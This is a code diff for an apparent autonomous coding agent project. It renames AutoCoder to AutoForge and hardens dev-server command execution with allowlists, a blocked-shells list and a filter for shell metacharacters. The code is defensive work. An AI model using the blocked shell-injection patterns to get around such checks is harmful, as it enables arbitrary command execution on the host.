||||
"""
|
||||
Get the config directory: ~/.autocoder/
|
||||
Get the config directory: ~/.autoforge/
|
||||
|
||||
Automatically migrates from ~/.autocoder/ if needed.
|
||||
|
||||
Returns:
|
||||
Path to ~/.autocoder/ (created if it doesn't exist)
|
||||
Path to ~/.autoforge/ (created if it doesn't exist)
|
||||
"""
|
||||
config_dir = Path.home() / ".autocoder"
|
||||
_migrate_registry_dir()
|
||||
config_dir = Path.home() / ".autoforge"
|
||||
config_dir.mkdir(parents=True, exist_ok=True)
|
||||
return config_dir
|
||||
|
||||
|
||||
14
requirements-prod.txt
Normal file
14
requirements-prod.txt
Normal file
@@ -0,0 +1,14 @@
|
||||
# Production runtime dependencies only
|
||||
# For development, use requirements.txt (includes ruff, mypy, pytest)
|
||||
claude-agent-sdk>=0.1.0,<0.2.0
|
||||
python-dotenv>=1.0.0
|
||||
sqlalchemy>=2.0.0
|
||||
fastapi>=0.115.0
|
||||
uvicorn[standard]>=0.32.0
|
||||
websockets>=13.0
|
||||
python-multipart>=0.0.17
|
||||
psutil>=6.0.0
|
||||
aiofiles>=24.0.0
|
||||
apscheduler>=3.10.0,<4.0.0
|
||||
pywinpty>=2.0.0; sys_platform == "win32"
|
||||
pyyaml>=6.0.0
|
||||
20
security.py
20
security.py
@@ -553,14 +553,23 @@ def get_org_config_path() -> Path:
|
||||
Get the organization-level config file path.
|
||||
|
||||
Returns:
|
||||
Path to ~/.autocoder/config.yaml
|
||||
Path to ~/.autoforge/config.yaml (falls back to ~/.autocoder/config.yaml)
|
||||
"""
|
||||
return Path.home() / ".autocoder" / "config.yaml"
|
||||
new_path = Path.home() / ".autoforge" / "config.yaml"
|
||||
if new_path.exists():
|
||||
return new_path
|
||||
# Backward compatibility: check old location
|
||||
old_path = Path.home() / ".autocoder" / "config.yaml"
|
||||
if old_path.exists():
|
||||
return old_path
|
||||
return new_path
|
||||
|
||||
|
||||
def load_org_config() -> Optional[dict]:
|
||||
"""
|
||||
Load organization-level config from ~/.autocoder/config.yaml.
|
||||
Load organization-level config from ~/.autoforge/config.yaml.
|
||||
|
||||
Falls back to ~/.autocoder/config.yaml for backward compatibility.
|
||||
|
||||
Returns:
|
||||
Dict with parsed org config, or None if file doesn't exist or is invalid
|
||||
@@ -630,6 +639,9 @@ def load_project_commands(project_dir: Path) -> Optional[dict]:
|
||||
Returns:
|
||||
Dict with parsed YAML config, or None if file doesn't exist or is invalid
|
||||
"""
|
||||
# Check new location first, fall back to old for backward compatibility
|
||||
config_path = project_dir.resolve() / ".autoforge" / "allowed_commands.yaml"
|
||||
if not config_path.exists():
|
||||
config_path = project_dir.resolve() / ".autocoder" / "allowed_commands.yaml"
|
||||
|
||||
if not config_path.exists():
|
||||
@@ -909,7 +921,7 @@ async def bash_security_hook(input_data, tool_use_id=None, context=None):
|
||||
# Provide helpful error message with config hint
|
||||
error_msg = f"Command '{cmd}' is not allowed.\n"
|
||||
error_msg += "To allow this command:\n"
|
||||
error_msg += " 1. Add to .autocoder/allowed_commands.yaml for this project, OR\n"
|
||||
error_msg += " 1. Add to .autoforge/allowed_commands.yaml for this project, OR\n"
|
||||
error_msg += " 2. Request mid-session approval (the agent can ask)\n"
|
||||
error_msg += "Note: Some commands are blocked at org-level and cannot be overridden."
|
||||
return {
|
||||
|
||||
@@ -94,7 +94,7 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
# Check if remote access is enabled via environment variable
|
||||
# Set by start_ui.py when --host is not 127.0.0.1
|
||||
ALLOW_REMOTE = os.environ.get("AUTOCODER_ALLOW_REMOTE", "").lower() in ("1", "true", "yes")
|
||||
ALLOW_REMOTE = os.environ.get("AUTOFORGE_ALLOW_REMOTE", "").lower() in ("1", "true", "yes")
|
||||
|
||||
if ALLOW_REMOTE:
|
||||
logger.warning(
|
||||
@@ -133,7 +133,7 @@ else:
|
||||
if not ALLOW_REMOTE:
|
||||
@app.middleware("http")
|
||||
async def require_localhost(request: Request, call_next):
|
||||
"""Only allow requests from localhost (disabled when AUTOCODER_ALLOW_REMOTE=1)."""
|
||||
"""Only allow requests from localhost (disabled when AUTOFORGE_ALLOW_REMOTE=1)."""
|
||||
client_host = request.client.host if request.client else None
|
||||
|
||||
# Allow localhost connections
|
||||
|
||||
@@ -7,6 +7,7 @@ Uses project registry for path lookups and project_config for command detection.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import shlex
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
@@ -72,6 +73,116 @@ def get_project_dir(project_name: str) -> Path:
|
||||
|
||||
return project_dir
|
||||
|
||||
ALLOWED_RUNNERS = {
|
||||
"npm", "pnpm", "yarn", "npx",
|
||||
"uvicorn", "python", "python3",
|
||||
"flask", "poetry",
|
||||
"cargo", "go",
|
||||
}
|
||||
|
||||
ALLOWED_NPM_SCRIPTS = {"dev", "start", "serve", "develop", "server", "preview"}
|
||||
|
||||
# Allowed Python -m modules for dev servers
|
||||
ALLOWED_PYTHON_MODULES = {"uvicorn", "flask", "gunicorn", "http.server"}
|
||||
|
||||
BLOCKED_SHELLS = {"sh", "bash", "zsh", "cmd", "powershell", "pwsh", "cmd.exe"}
|
||||
|
||||
|
||||
def validate_custom_command_strict(cmd: str) -> None:
|
||||
"""
|
||||
Strict allowlist validation for dev server commands.
|
||||
Prevents arbitrary command execution (no sh -c, no cmd /c, no python -c, etc.)
|
||||
"""
|
||||
if not isinstance(cmd, str) or not cmd.strip():
|
||||
raise ValueError("custom_command cannot be empty")
|
||||
|
||||
argv = shlex.split(cmd, posix=(sys.platform != "win32"))
|
||||
if not argv:
|
||||
raise ValueError("custom_command could not be parsed")
|
||||
|
||||
base = Path(argv[0]).name.lower()
|
||||
|
||||
# Block direct shells / interpreters commonly used for command injection
|
||||
if base in BLOCKED_SHELLS:
|
||||
raise ValueError(f"custom_command runner not allowed: {base}")
|
||||
|
||||
if base not in ALLOWED_RUNNERS:
|
||||
raise ValueError(
|
||||
f"custom_command runner not allowed: {base}. "
|
||||
f"Allowed: {', '.join(sorted(ALLOWED_RUNNERS))}"
|
||||
)
|
||||
|
||||
# Block one-liner execution for python
|
||||
lowered = [a.lower() for a in argv]
|
||||
if base in {"python", "python3"}:
|
||||
if "-c" in lowered:
|
||||
raise ValueError("python -c is not allowed")
|
||||
if len(argv) >= 3 and argv[1] == "-m":
|
||||
# Allow: python -m <allowed_module> ...
|
||||
if argv[2] not in ALLOWED_PYTHON_MODULES:
|
||||
raise ValueError(
|
||||
f"python -m {argv[2]} is not allowed. "
|
||||
f"Allowed modules: {', '.join(sorted(ALLOWED_PYTHON_MODULES))}"
|
||||
)
|
||||
elif len(argv) >= 2 and argv[1].endswith(".py"):
|
||||
# Allow: python manage.py runserver, python app.py, etc.
|
||||
pass
|
||||
else:
|
||||
raise ValueError(
|
||||
"Python commands must use 'python -m <module> ...' or 'python <script>.py ...'"
|
||||
)
|
||||
|
||||
if base == "flask":
|
||||
# Allow: flask run [--host ...] [--port ...]
|
||||
if len(argv) < 2 or argv[1] != "run":
|
||||
raise ValueError("flask custom_command must be 'flask run [options]'")
|
||||
|
||||
if base == "poetry":
|
||||
# Allow: poetry run <subcmd> ...
|
||||
if len(argv) < 3 or argv[1] != "run":
|
||||
raise ValueError("poetry custom_command must be 'poetry run <command> ...'")
|
||||
|
||||
if base == "uvicorn":
|
||||
if len(argv) < 2 or ":" not in argv[1]:
|
||||
raise ValueError("uvicorn must specify an app like module:app")
|
||||
|
||||
allowed_flags = {"--host", "--port", "--reload", "--log-level", "--workers"}
|
||||
for a in argv[2:]:
|
||||
if a.startswith("-"):
|
||||
# Handle --flag=value syntax
|
||||
flag_key = a.split("=", 1)[0]
|
||||
if flag_key not in allowed_flags:
|
||||
raise ValueError(f"uvicorn flag not allowed: {flag_key}")
|
||||
|
||||
if base in {"npm", "pnpm", "yarn"}:
|
||||
# Allow only known safe scripts (no arbitrary exec)
|
||||
if base == "npm":
|
||||
if len(argv) < 3 or argv[1] != "run" or argv[2] not in ALLOWED_NPM_SCRIPTS:
|
||||
raise ValueError(
|
||||
f"npm custom_command must be 'npm run <script>' where script is one of: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
elif base == "pnpm":
|
||||
ok = (
|
||||
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||
)
|
||||
if not ok:
|
||||
raise ValueError(
|
||||
f"pnpm custom_command must use a known script: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
elif base == "yarn":
|
||||
ok = (
|
||||
(len(argv) >= 2 and argv[1] in ALLOWED_NPM_SCRIPTS)
|
||||
or (len(argv) >= 3 and argv[1] == "run" and argv[2] in ALLOWED_NPM_SCRIPTS)
|
||||
)
|
||||
if not ok:
|
||||
raise ValueError(
|
||||
f"yarn custom_command must use a known script: "
|
||||
f"{', '.join(sorted(ALLOWED_NPM_SCRIPTS))}"
|
||||
)
|
||||
|
||||
|
||||
def get_project_devserver_manager(project_name: str):
|
||||
"""
|
||||
@@ -180,8 +291,11 @@ async def start_devserver(
|
||||
# Determine which command to use
|
||||
command: str | None
|
||||
if request.command:
|
||||
command = request.command
|
||||
else:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail="Direct command execution is disabled. Use /config to set a safe custom_command."
|
||||
)
|
||||
|
||||
command = get_dev_command(project_dir)
|
||||
|
||||
if not command:
|
||||
@@ -193,6 +307,13 @@ async def start_devserver(
|
||||
# Validate command against security allowlist before execution
|
||||
validate_dev_command(command, project_dir)
|
||||
|
||||
# Defense-in-depth: also run strict structural validation at execution time
|
||||
# (catches config file tampering that bypasses the /config endpoint)
|
||||
try:
|
||||
validate_custom_command_strict(command)
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
|
||||
# Now command is definitely str and validated
|
||||
success, message = await manager.start(command)
|
||||
|
||||
@@ -284,7 +405,13 @@ async def update_devserver_config(
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
else:
|
||||
# Validate command against security allowlist before persisting
|
||||
# Strict structural validation first (most specific errors)
|
||||
try:
|
||||
validate_custom_command_strict(update.custom_command)
|
||||
except ValueError as e:
|
||||
raise HTTPException(status_code=400, detail=str(e))
|
||||
|
||||
# Then validate against security allowlist
|
||||
validate_dev_command(update.custom_command, project_dir)
|
||||
|
||||
# Set the custom command
|
||||
|
||||
@@ -121,7 +121,7 @@ async def expand_project_websocket(websocket: WebSocket, project_name: str):
|
||||
return
|
||||
|
||||
# Verify project has app_spec.txt
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
||||
if not spec_path.exists():
|
||||
await websocket.close(code=4004, reason="Project has no spec. Create spec first.")
|
||||
|
||||
@@ -126,7 +126,7 @@ async def list_features(project_name: str):
|
||||
if not project_dir.exists():
|
||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
return FeatureListResponse(pending=[], in_progress=[], done=[])
|
||||
@@ -322,7 +322,7 @@ async def get_dependency_graph(project_name: str):
|
||||
if not project_dir.exists():
|
||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
return DependencyGraphResponse(nodes=[], edges=[])
|
||||
@@ -388,7 +388,7 @@ async def get_feature(project_name: str, feature_id: int):
|
||||
if not project_dir.exists():
|
||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
db_file = get_features_db_path(project_dir)
|
||||
if not db_file.exists():
|
||||
raise HTTPException(status_code=404, detail="No features database found")
|
||||
|
||||
@@ -276,7 +276,7 @@ async def delete_project(name: str, delete_files: bool = False):
|
||||
raise HTTPException(status_code=404, detail=f"Project '{name}' not found")
|
||||
|
||||
# Check if agent is running
|
||||
from autocoder_paths import has_agent_running
|
||||
from autoforge_paths import has_agent_running
|
||||
if has_agent_running(project_dir):
|
||||
raise HTTPException(
|
||||
status_code=409,
|
||||
@@ -407,7 +407,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||
|
||||
# Check if agent is running
|
||||
from autocoder_paths import has_agent_running
|
||||
from autoforge_paths import has_agent_running
|
||||
if has_agent_running(project_dir):
|
||||
raise HTTPException(
|
||||
status_code=409,
|
||||
@@ -424,7 +424,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
||||
|
||||
deleted_files: list[str] = []
|
||||
|
||||
from autocoder_paths import (
|
||||
from autoforge_paths import (
|
||||
get_assistant_db_path,
|
||||
get_claude_assistant_settings_path,
|
||||
get_claude_settings_path,
|
||||
@@ -466,7 +466,7 @@ async def reset_project(name: str, full_reset: bool = False):
|
||||
|
||||
# Full reset: also delete prompts directory
|
||||
if full_reset:
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
# Delete prompts from both possible locations
|
||||
for prompts_dir in [get_prompts_dir(project_dir), project_dir / "prompts"]:
|
||||
if prompts_dir.exists():
|
||||
|
||||
@@ -105,7 +105,7 @@ async def get_spec_file_status(project_name: str):
|
||||
if not project_dir.exists():
|
||||
raise HTTPException(status_code=404, detail="Project directory not found")
|
||||
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
status_file = get_prompts_dir(project_dir) / ".spec_status.json"
|
||||
|
||||
if not status_file.exists():
|
||||
|
||||
@@ -64,7 +64,7 @@ def get_system_prompt(project_name: str, project_dir: Path) -> str:
|
||||
"""Generate the system prompt for the assistant with project context."""
|
||||
# Try to load app_spec.txt for context
|
||||
app_spec_content = ""
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
app_spec_path = get_prompts_dir(project_dir) / "app_spec.txt"
|
||||
if app_spec_path.exists():
|
||||
try:
|
||||
@@ -224,7 +224,7 @@ class AssistantChatSession:
|
||||
"allow": permissions_list,
|
||||
},
|
||||
}
|
||||
from autocoder_paths import get_claude_assistant_settings_path
|
||||
from autoforge_paths import get_claude_assistant_settings_path
|
||||
settings_file = get_claude_assistant_settings_path(self.project_dir)
|
||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(settings_file, "w") as f:
|
||||
|
||||
@@ -64,7 +64,7 @@ class ConversationMessage(Base):
|
||||
|
||||
def get_db_path(project_dir: Path) -> Path:
|
||||
"""Get the path to the assistant database for a project."""
|
||||
from autocoder_paths import get_assistant_db_path
|
||||
from autoforge_paths import get_assistant_db_path
|
||||
return get_assistant_db_path(project_dir)
|
||||
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ from pathlib import Path
|
||||
from typing import AsyncGenerator
|
||||
|
||||
# -------------------------------------------------------------------
|
||||
# Root directory of the autocoder project (repository root).
|
||||
# Root directory of the autoforge project (repository root).
|
||||
# Used throughout the server package whenever the repo root is needed.
|
||||
# -------------------------------------------------------------------
|
||||
ROOT_DIR = Path(__file__).parent.parent.parent
|
||||
|
||||
@@ -14,17 +14,17 @@ This is a simplified version of AgentProcessManager, tailored for dev servers:
|
||||
import asyncio
|
||||
import logging
|
||||
import re
|
||||
import shlex
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Awaitable, Callable, Literal, Set
|
||||
|
||||
import psutil
|
||||
|
||||
from registry import list_registered_projects
|
||||
from security import extract_commands, get_effective_commands, is_command_allowed
|
||||
from server.utils.process_utils import kill_process_tree
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
@@ -115,7 +115,7 @@ class DevServerProcessManager:
|
||||
self._callbacks_lock = threading.Lock()
|
||||
|
||||
# Lock file to prevent multiple instances (stored in project directory)
|
||||
from autocoder_paths import get_devserver_lock_path
|
||||
from autoforge_paths import get_devserver_lock_path
|
||||
self.lock_file = get_devserver_lock_path(self.project_dir)
|
||||
|
||||
@property
|
||||
@@ -291,53 +291,54 @@ class DevServerProcessManager:
|
||||
Start the dev server as a subprocess.
|
||||
|
||||
Args:
|
||||
command: The shell command to run (e.g., "npm run dev")
|
||||
command: The command to run (e.g., "npm run dev")
|
||||
|
||||
Returns:
|
||||
Tuple of (success, message)
|
||||
"""
|
||||
if self.status == "running":
|
||||
# Already running?
|
||||
if self.process and self.status == "running":
|
||||
return False, "Dev server is already running"
|
||||
|
||||
# Lock check (prevents double-start)
|
||||
if not self._check_lock():
|
||||
return False, "Another dev server instance is already running for this project"
|
||||
return False, "Dev server already running (lock file present)"
|
||||
|
||||
# Validate that project directory exists
|
||||
if not self.project_dir.exists():
|
||||
return False, f"Project directory does not exist: {self.project_dir}"
|
||||
command = (command or "").strip()
|
||||
if not command:
|
||||
return False, "Empty dev server command"
|
||||
|
||||
# Defense-in-depth: validate command against security allowlist
|
||||
commands = extract_commands(command)
|
||||
if not commands:
|
||||
return False, "Could not parse command for security validation"
|
||||
# SECURITY: block shell operators/metacharacters (defense-in-depth)
|
||||
# NOTE: On Windows, .cmd/.bat files are executed via cmd.exe even with
|
||||
# shell=False (CPython limitation), so metacharacter blocking is critical.
|
||||
# Single & is a cmd.exe command separator, ^ is cmd escape, % enables
|
||||
# environment variable expansion, > < enable redirection.
|
||||
dangerous_ops = ["&&", "||", ";", "|", "`", "$(", "&", ">", "<", "^", "%"]
|
||||
if any(op in command for op in dangerous_ops):
|
||||
return False, "Shell operators are not allowed in dev server command"
|
||||
# Block newline injection (cmd.exe interprets newlines as command separators)
|
||||
if "\n" in command or "\r" in command:
|
||||
return False, "Newlines are not allowed in dev server command"
|
||||
|
||||
allowed_commands, blocked_commands = get_effective_commands(self.project_dir)
|
||||
for cmd in commands:
|
||||
if cmd in blocked_commands:
|
||||
logger.warning("Blocked dev server command '%s' (in blocklist) for %s", cmd, self.project_name)
|
||||
return False, f"Command '{cmd}' is blocked and cannot be used as a dev server command"
|
||||
if not is_command_allowed(cmd, allowed_commands):
|
||||
logger.warning("Rejected dev server command '%s' (not in allowlist) for %s", cmd, self.project_name)
|
||||
return False, f"Command '{cmd}' is not in the allowed commands list"
|
||||
# Parse into argv and execute without shell
|
||||
argv = shlex.split(command, posix=(sys.platform != "win32"))
|
||||
if not argv:
|
||||
return False, "Empty dev server command"
|
||||
|
||||
self._command = command
|
||||
self._detected_url = None # Reset URL detection
|
||||
base = Path(argv[0]).name.lower()
|
||||
|
||||
# Defense-in-depth: reject direct shells/interpreters commonly used for injection
|
||||
if base in {"sh", "bash", "zsh", "cmd", "powershell", "pwsh"}:
|
||||
return False, f"Shell runner '{base}' is not allowed for dev server commands"
|
||||
|
||||
# Windows: use .cmd shims for Node package managers
|
||||
if sys.platform == "win32" and base in {"npm", "pnpm", "yarn", "npx"} and not argv[0].lower().endswith(".cmd"):
|
||||
argv[0] = argv[0] + ".cmd"
|
||||
|
||||
try:
|
||||
# Determine shell based on platform
|
||||
if sys.platform == "win32":
|
||||
# On Windows, use cmd.exe
|
||||
shell_cmd = ["cmd", "/c", command]
|
||||
else:
|
||||
# On Unix-like systems, use sh
|
||||
shell_cmd = ["sh", "-c", command]
|
||||
|
||||
# Start subprocess with piped stdout/stderr
|
||||
# stdin=DEVNULL prevents interactive dev servers from blocking on stdin
|
||||
# On Windows, use CREATE_NO_WINDOW to prevent console window from flashing
|
||||
if sys.platform == "win32":
|
||||
self.process = subprocess.Popen(
|
||||
shell_cmd,
|
||||
argv,
|
||||
stdin=subprocess.DEVNULL,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
@@ -346,23 +347,33 @@ class DevServerProcessManager:
|
||||
)
|
||||
else:
|
||||
self.process = subprocess.Popen(
|
||||
shell_cmd,
|
||||
argv,
|
||||
stdin=subprocess.DEVNULL,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
cwd=str(self.project_dir),
|
||||
)
|
||||
|
||||
self._create_lock()
|
||||
self.started_at = datetime.now()
|
||||
self.status = "running"
|
||||
self._command = command
|
||||
self.started_at = datetime.now(timezone.utc)
|
||||
self._detected_url = None
|
||||
|
||||
# Start output streaming task
|
||||
# Create lock once we have a PID
|
||||
self._create_lock()
|
||||
|
||||
# Start output streaming
|
||||
self.status = "running"
|
||||
self._output_task = asyncio.create_task(self._stream_output())
|
||||
|
||||
return True, f"Dev server started with PID {self.process.pid}"
|
||||
return True, "Dev server started"
|
||||
|
||||
except FileNotFoundError:
|
||||
self.status = "stopped"
|
||||
self.process = None
|
||||
return False, f"Command not found: {argv[0]}"
|
||||
except Exception as e:
|
||||
logger.exception("Failed to start dev server")
|
||||
self.status = "stopped"
|
||||
self.process = None
|
||||
return False, f"Failed to start dev server: {e}"
|
||||
|
||||
async def stop(self) -> tuple[bool, str]:
|
||||
@@ -504,10 +515,10 @@ def cleanup_orphaned_devserver_locks() -> int:
|
||||
continue
|
||||
|
||||
# Check both legacy and new locations for lock files
|
||||
from autocoder_paths import get_autocoder_dir
|
||||
from autoforge_paths import get_autoforge_dir
|
||||
lock_locations = [
|
||||
project_path / ".devserver.lock",
|
||||
get_autocoder_dir(project_path) / ".devserver.lock",
|
||||
get_autoforge_dir(project_path) / ".devserver.lock",
|
||||
]
|
||||
lock_file = None
|
||||
for candidate in lock_locations:
|
||||
|
||||
@@ -103,7 +103,7 @@ class ExpandChatSession:
|
||||
return
|
||||
|
||||
# Verify project has existing spec
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
spec_path = get_prompts_dir(self.project_dir) / "app_spec.txt"
|
||||
if not spec_path.exists():
|
||||
yield {
|
||||
@@ -142,7 +142,7 @@ class ExpandChatSession:
|
||||
],
|
||||
},
|
||||
}
|
||||
from autocoder_paths import get_expand_settings_path
|
||||
from autoforge_paths import get_expand_settings_path
|
||||
settings_file = get_expand_settings_path(self.project_dir, uuid.uuid4().hex)
|
||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
self._settings_file = settings_file
|
||||
|
||||
@@ -92,7 +92,7 @@ class AgentProcessManager:
|
||||
self._callbacks_lock = threading.Lock()
|
||||
|
||||
# Lock file to prevent multiple instances (stored in project directory)
|
||||
from autocoder_paths import get_agent_lock_path
|
||||
from autoforge_paths import get_agent_lock_path
|
||||
self.lock_file = get_agent_lock_path(self.project_dir)
|
||||
|
||||
@property
|
||||
@@ -587,10 +587,10 @@ def cleanup_orphaned_locks() -> int:
|
||||
continue
|
||||
|
||||
# Check both legacy and new locations for lock files
|
||||
from autocoder_paths import get_autocoder_dir
|
||||
from autoforge_paths import get_autoforge_dir
|
||||
lock_locations = [
|
||||
project_path / ".agent.lock",
|
||||
get_autocoder_dir(project_path) / ".agent.lock",
|
||||
get_autoforge_dir(project_path) / ".agent.lock",
|
||||
]
|
||||
lock_file = None
|
||||
for candidate in lock_locations:
|
||||
|
||||
@@ -6,7 +6,7 @@ Handles project type detection and dev command configuration.
|
||||
Detects project types by scanning for configuration files and provides
|
||||
default or custom dev commands for each project.
|
||||
|
||||
Configuration is stored in {project_dir}/.autocoder/config.json.
|
||||
Configuration is stored in {project_dir}/.autoforge/config.json.
|
||||
"""
|
||||
|
||||
import json
|
||||
@@ -88,13 +88,22 @@ def _get_config_path(project_dir: Path) -> Path:
|
||||
"""
|
||||
Get the path to the project config file.
|
||||
|
||||
Checks the new .autoforge/ location first, falls back to .autocoder/
|
||||
for backward compatibility.
|
||||
|
||||
Args:
|
||||
project_dir: Path to the project directory.
|
||||
|
||||
Returns:
|
||||
Path to the .autocoder/config.json file.
|
||||
Path to the config.json file in the appropriate directory.
|
||||
"""
|
||||
return project_dir / ".autocoder" / "config.json"
|
||||
new_path = project_dir / ".autoforge" / "config.json"
|
||||
if new_path.exists():
|
||||
return new_path
|
||||
old_path = project_dir / ".autocoder" / "config.json"
|
||||
if old_path.exists():
|
||||
return old_path
|
||||
return new_path
|
||||
|
||||
|
||||
def _load_config(project_dir: Path) -> dict:
|
||||
@@ -137,7 +146,7 @@ def _save_config(project_dir: Path, config: dict) -> None:
|
||||
"""
|
||||
Save the project configuration to disk.
|
||||
|
||||
Creates the .autocoder directory if it doesn't exist.
|
||||
Creates the .autoforge directory if it doesn't exist.
|
||||
|
||||
Args:
|
||||
project_dir: Path to the project directory.
|
||||
@@ -148,7 +157,7 @@ def _save_config(project_dir: Path, config: dict) -> None:
|
||||
"""
|
||||
config_path = _get_config_path(project_dir)
|
||||
|
||||
# Ensure the .autocoder directory exists
|
||||
# Ensure the .autoforge directory exists
|
||||
config_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
try:
|
||||
@@ -408,11 +417,11 @@ def clear_dev_command(project_dir: Path) -> None:
|
||||
config_path.unlink(missing_ok=True)
|
||||
logger.info("Removed empty config file for %s", project_dir.name)
|
||||
|
||||
# Also remove .autocoder directory if empty
|
||||
autocoder_dir = config_path.parent
|
||||
if autocoder_dir.exists() and not any(autocoder_dir.iterdir()):
|
||||
autocoder_dir.rmdir()
|
||||
logger.debug("Removed empty .autocoder directory for %s", project_dir.name)
|
||||
# Also remove .autoforge directory if empty
|
||||
autoforge_dir = config_path.parent
|
||||
if autoforge_dir.exists() and not any(autoforge_dir.iterdir()):
|
||||
autoforge_dir.rmdir()
|
||||
logger.debug("Removed empty .autoforge directory for %s", project_dir.name)
|
||||
except OSError as e:
|
||||
logger.warning("Failed to clean up config for %s: %s", project_dir.name, e)
|
||||
else:
|
||||
|
||||
@@ -92,7 +92,7 @@ class SchedulerService:
|
||||
async def _load_project_schedules(self, project_name: str, project_dir: Path) -> int:
|
||||
"""Load schedules for a single project. Returns count of schedules loaded."""
|
||||
from api.database import Schedule, create_database
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
|
||||
db_path = get_features_db_path(project_dir)
|
||||
if not db_path.exists():
|
||||
@@ -568,7 +568,7 @@ class SchedulerService:
|
||||
):
|
||||
"""Check if a project should be started on server startup."""
|
||||
from api.database import Schedule, ScheduleOverride, create_database
|
||||
from autocoder_paths import get_features_db_path
|
||||
from autoforge_paths import get_features_db_path
|
||||
|
||||
db_path = get_features_db_path(project_dir)
|
||||
if not db_path.exists():
|
||||
|
||||
@@ -95,7 +95,7 @@ class SpecChatSession:
|
||||
# Delete app_spec.txt so Claude can create it fresh
|
||||
# The SDK requires reading existing files before writing, but app_spec.txt is created new
|
||||
# Note: We keep initializer_prompt.md so Claude can read and update the template
|
||||
from autocoder_paths import get_prompts_dir
|
||||
from autoforge_paths import get_prompts_dir
|
||||
prompts_dir = get_prompts_dir(self.project_dir)
|
||||
app_spec_path = prompts_dir / "app_spec.txt"
|
||||
if app_spec_path.exists():
|
||||
@@ -116,7 +116,7 @@ class SpecChatSession:
|
||||
],
|
||||
},
|
||||
}
|
||||
from autocoder_paths import get_claude_settings_path
|
||||
from autoforge_paths import get_claude_settings_path
|
||||
settings_file = get_claude_settings_path(self.project_dir)
|
||||
settings_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(settings_file, "w") as f:
|
||||
|
||||
@@ -3,7 +3,7 @@ cd /d "%~dp0"
|
||||
|
||||
echo.
|
||||
echo ========================================
|
||||
echo Autonomous Coding Agent
|
||||
echo AutoForge - Autonomous Coding Agent
|
||||
echo ========================================
|
||||
echo.
|
||||
|
||||
|
||||
2
start.py
2
start.py
@@ -82,7 +82,7 @@ def get_existing_projects() -> list[tuple[str, Path]]:
|
||||
def display_menu(projects: list[tuple[str, Path]]) -> None:
|
||||
"""Display the main menu."""
|
||||
print("\n" + "=" * 50)
|
||||
print(" Autonomous Coding Agent Launcher")
|
||||
print(" AutoForge - Autonomous Coding Agent")
|
||||
print("=" * 50)
|
||||
print("\n[1] Create new project")
|
||||
|
||||
|
||||
2
start.sh
2
start.sh
@@ -3,7 +3,7 @@ cd "$(dirname "$0")"
|
||||
|
||||
echo ""
|
||||
echo "========================================"
|
||||
echo " Autonomous Coding Agent"
|
||||
echo " AutoForge - Autonomous Coding Agent"
|
||||
echo "========================================"
|
||||
echo ""
|
||||
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
@echo off
|
||||
cd /d "%~dp0"
|
||||
REM AutoCoder UI Launcher for Windows
|
||||
REM AutoForge UI Launcher for Windows
|
||||
REM This script launches the web UI for the autonomous coding agent.
|
||||
|
||||
echo.
|
||||
echo ====================================
|
||||
echo AutoCoder UI
|
||||
echo AutoForge UI
|
||||
echo ====================================
|
||||
echo.
|
||||
|
||||
|
||||
12
start_ui.py
12
start_ui.py
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
AutoCoder UI Launcher
|
||||
AutoForge UI Launcher
|
||||
=====================
|
||||
|
||||
Automated launcher that handles all setup:
|
||||
@@ -265,7 +265,7 @@ def start_dev_server(port: int, host: str = "127.0.0.1") -> tuple:
|
||||
# Set environment for remote access if needed
|
||||
env = os.environ.copy()
|
||||
if host != "127.0.0.1":
|
||||
env["AUTOCODER_ALLOW_REMOTE"] = "1"
|
||||
env["AUTOFORGE_ALLOW_REMOTE"] = "1"
|
||||
|
